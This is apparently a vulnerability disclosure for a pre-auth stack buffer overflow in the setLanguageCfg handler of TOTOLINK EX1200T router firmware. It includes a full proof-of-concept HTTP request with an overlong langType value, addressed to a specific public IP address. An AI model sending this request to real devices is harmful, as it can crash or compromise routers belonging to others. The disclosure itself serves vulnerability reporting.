global.so-setLanguageCfg-LangType

[PRODUCT]

TOTOLINK

[Vendor of Product]

https://www.totolink.net/

[VERSION]

EX1200T V4.1.2cu.5232_B20210713

[Firmware]

https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/148/ids/36.html

[Vulnerability Type]

stack-based buffer overflow

[Description]

The TOTOLINK EX1200T V4.1.2cu.5232_B20210713 was found to contain a pre-auth stack-based buffer overflow vulnerability in the setLanguageCfg function through the LangType parameter.

the langType parameter is user input and will split into the v9, and no length limited, this will result in stack-based buffer overflow vulnerability.

image.png

[poc]

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 115.43.171.116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1664
Origin: <http://115.43.171.116>
Connection: close
Referer: <http://115.43.171.116/bottom.asp>

{"topicurl":"setLanguageCfg",
"langFlag":"0",
"langType":"111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"}

image.png